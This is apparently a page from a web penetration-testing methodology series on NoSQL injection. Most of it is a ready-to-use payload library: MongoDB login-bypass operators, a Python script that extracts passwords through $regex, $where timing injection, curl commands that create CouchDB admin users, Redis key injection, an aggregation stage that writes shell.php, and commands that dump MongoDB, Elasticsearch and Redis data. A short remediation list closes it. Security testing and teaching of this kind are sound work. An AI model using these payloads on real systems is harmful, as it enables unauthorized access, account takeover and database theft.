NoSQL Injection
Severity: Critical | CWE: CWE-943 OWASP: A03:2021 – Injection
What Is NoSQL Injection?
NoSQL databases (MongoDB, CouchDB, Redis, Cassandra, Elasticsearch) use query languages different from SQL — often JSON/BSON objects or key-value structures. Injection occurs when user input is interpreted as query operators rather than data. MongoDB is the most commonly exploited.
SQL analog:
SELECT * FROM users WHERE user = 'admin' AND pass = 'INJECTED';
MongoDB analog (operator injection):
db.users.find({ user: "admin", pass: {$gt: ""} })
// $gt: "" → password > empty string → matches any non-empty password
Two main injection styles:
- Operator injection — inject MongoDB query operators (
$gt,$regex,$where, etc.) - Syntax injection — break out of string context in server-side JS expressions
Discovery Checklist
- Identify JSON-based API endpoints accepting login/search/filter parameters
- Test URL parameters and JSON body fields with
[$gt]=style payloads - Test for error messages revealing MongoDB query structure
- Detect database type from error messages (
MongoError,CouchDB,ElasticSearch) - Try
$whereJavaScript injection (server-side JS must be enabled in MongoDB) - Test array notation:
param[]=value,param[$gt]= - Test for authentication bypass via operator injection
- Check GraphQL endpoints (often backed by MongoDB)
- Test blind injection via timing (
$where: "sleep(1000)") - Test Elasticsearch
_searchendpoint withscriptinjection - Check Redis SSRF via Gopher protocol
- Look for debug endpoints exposing raw queries
Payload Library
Payload 1 — MongoDB Auth Bypass (Operator Injection)
When a login form submits JSON or the backend builds a MongoDB query from user input:
# If backend does: db.users.find({username: req.body.user, password: req.body.pass})
# URL-encoded form POST injection:
username=admin&password[$ne]=wrongpassword
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid # login as first user
username=admin&password[$regex]=.* # regex matches anything
# JSON body injection (Content-Type: application/json):
{"username": "admin", "password": {"$ne": "wrong"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": "admin", "password": {"$regex": ".*"}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$exists": true}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}
# Curl examples:
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":"invalid"}}'
# URL-param style (common in Express/Mongoose with query-string parsing):
curl "https://target.com/login?username=admin&password[$ne]=x"
Payload 2 — Boolean-Based Data Extraction via $regex
Extract data character-by-character using $regex with success/failure response difference.
# Determine if admin password starts with 'a':
{"username": "admin", "password": {"$regex": "^a"}}
# → 200 OK (logged in) = starts with 'a'
# → 401 Unauthorized = doesn't start with 'a'
# Enumerate full password:
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
# Automate with Python:
python3 -c "
import requests, string
url = 'https://target.com/api/login'
chars = string.ascii_letters + string.digits + '!@#\$%^&*'
known = ''
while True:
found = False
for c in chars:
payload = {'username': 'admin', 'password': {'\$regex': '^' + known + c}}
r = requests.post(url, json=payload)
if r.status_code == 200:
known += c
print(f'Found: {known}')
found = True
break
if not found:
print(f'Complete: {known}')
break
"
Payload 3 — $where JavaScript Injection (Server-Side JS)
// If MongoDB has server-side JS enabled and $where is used:
// db.users.find({$where: "this.username == '" + input + "'"})
// Classic injection — always true:
' || '1'=='1
' || 1==1//
'; return true; var x='
// Sleep/timing detection:
'; sleep(5000); var x='
' || (function(){var d=new Date();while(new Date()-d<5000);})()||'
// Data exfiltration via timing:
// Extract password char by char based on response time:
' || (this.password[0]=='a' && function(){var d=new Date();while(new Date()-d<2000);}()) || '
// In JSON payload:
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
{"$where": "sleep(5000)"}
{"$where": "function(){return true;}"}
Payload 4 — Array Injection / Parameter Pollution
# PHP/Node.js array parameter handling:
# username[]=admin&username[]=root → db.find({username: ["admin","root"]})
# password[$ne]=x → db.find({password: {$ne: "x"}})
# Express.js qs library parses [] and [$op] in query strings
# Test login:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user=admin&pass[$ne]=wrong
# In path parameters:
GET /api/users/admin[$ne]void
# JSON array in body:
{"ids": ["1", "2", {"$gte": "0"}]} # inject into array-accepting field
Payload 5 — Elasticsearch Injection
# Elasticsearch uses JSON query DSL — script-based injection:
# Basic search (no injection):
POST /index/_search
{"query": {"match": {"field": "value"}}}
# Script injection (if user controls query structure):
POST /index/_search
{
"query": {
"script": {
"script": {
"source": "System.exit(1)", # crash
"lang": "groovy" # older ES versions used Groovy
}
}
}
}
# Painless script (modern ES — sandboxed but test edge cases):
{"script": {"source": "params['value']", "lang": "painless"}}
# Wildcard query with deep nesting bypass:
{"query": {"wildcard": {"field": {"value": "*", "boost": 1.0}}}}
# Boolean injection — force all documents to match:
{"query": {"bool": {"must": [{"match_all": {}}]}}}
# Aggregation injection — extract all data:
{"aggs": {"all": {"terms": {"field": "sensitive_field.keyword", "size": 10000}}}}
Payload 6 — CouchDB REST API Injection
# CouchDB is HTTP REST — no query language injection but URL-based issues
# List all databases (if _all_dbs exposed):
curl http://target.com:5984/_all_dbs
# Read any document without auth (if public):
curl http://target.com:5984/DATABASE_NAME/DOCUMENT_ID
# Admin party (no auth configured):
curl -X PUT http://target.com:5984/_config/admins/newadmin -d '"password"'
# Create admin user via /_users:
curl -X PUT http://target.com:5984/_users/org.couchdb.user:attacker \
-H "Content-Type: application/json" \
-d '{"name":"attacker","password":"pass123","roles":["_admin"],"type":"user"}'
# Mango query injection (CouchDB >= 2.0):
POST /_find HTTP/1.1
{"selector": {"type": {"$eq": "user"}}} # dumps all users
{"selector": {"$or": [{"type":"user"},{"type":"admin"}]}}
Payload 7 — Redis Injection via SSRF (Gopher)
# Redis commands via SSRF with gopher:// protocol:
# (See 16_SSRF.md for full gopher payloads)
# If application passes user input to Redis directly:
# KEYS * → dump all keys
# GET admin_token
# SET session_abc123 admin
# Command injection in Redis key patterns:
# If app does: KEYS user:PREFIX* where PREFIX = user input
key=* KEYS *\r\nSET session_pwn admin\r\n
# Lua scripting injection (if EVAL enabled):
EVAL "return redis.call('keys','*')" 0
EVAL "return redis.call('set','hacked','1')" 0
Payload 8 — MongoDB Aggregation Pipeline Injection
# If app builds aggregation pipeline from user input:
# db.users.aggregate([{$match: {dept: USER_INPUT}}])
# Inject pipeline stages:
# Close $match and add $lookup for data exfiltration:
{"dept": {"$match": {}}, "$lookup": {"from": "users", "as": "all"}}
# Inject $out to write to file (if permissions allow):
[{"$out": "/var/www/html/shell.php"}]
# Conditional injection:
{"$cond": [{"$eq": ["$role", "admin"]}, "$$ROOT", null]}
Tools
# NoSQLMap — automated NoSQL injection tool:
git clone https://github.com/codingo/NoSQLMap
python3 nosqlmap.py
# nosql-injector:
pip3 install nosql-injector
# Burp Suite:
# - Manual testing via Repeater
# - Intruder with NoSQL operator wordlists
# - Extension: "Retire.js" to identify vulnerable MongoDB versions
# MongoDB shell (if you have credentials or auth bypass):
mongo mongodb://target.com:27017/dbname --eval "db.users.find().limit(10)"
mongodump --uri="mongodb://target.com:27017/dbname" --out=/tmp/dump
# Elasticsearch enumeration:
curl -s http://target.com:9200/_cat/indices?v # list all indices
curl -s http://target.com:9200/_cat/nodes?v # node info
curl -s http://target.com:9200/INDEX/_mapping # field mapping
curl -s "http://target.com:9200/INDEX/_search?q=*&size=100" # dump all
# Redis CLI:
redis-cli -h target.com -p 6379
redis-cli -h target.com INFO
redis-cli -h target.com KEYS "*"
# Wordlist for NoSQL operators:
# /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
ffuf -u https://target.com/login -X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-w /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
Remediation Reference
- Never concatenate user input into MongoDB queries — use parameterized drivers
- Disable
$whereand server-side JavaScript:--noscriptingflag in mongod - Input validation: reject keys starting with
$, reject objects when string expected - Type checking: if expecting a string,
assert typeof input === 'string'before use - Mongoose schema typing:
Stringfields reject object input automatically - Elasticsearch: disable dynamic scripting, restrict script languages to
painlessonly - Redis: bind to localhost only, require AUTH password, use ACL lists
- Principle of least privilege: DB user should not have write/admin permissions for read-only operations
Part of the Web Application Penetration Testing Methodology series.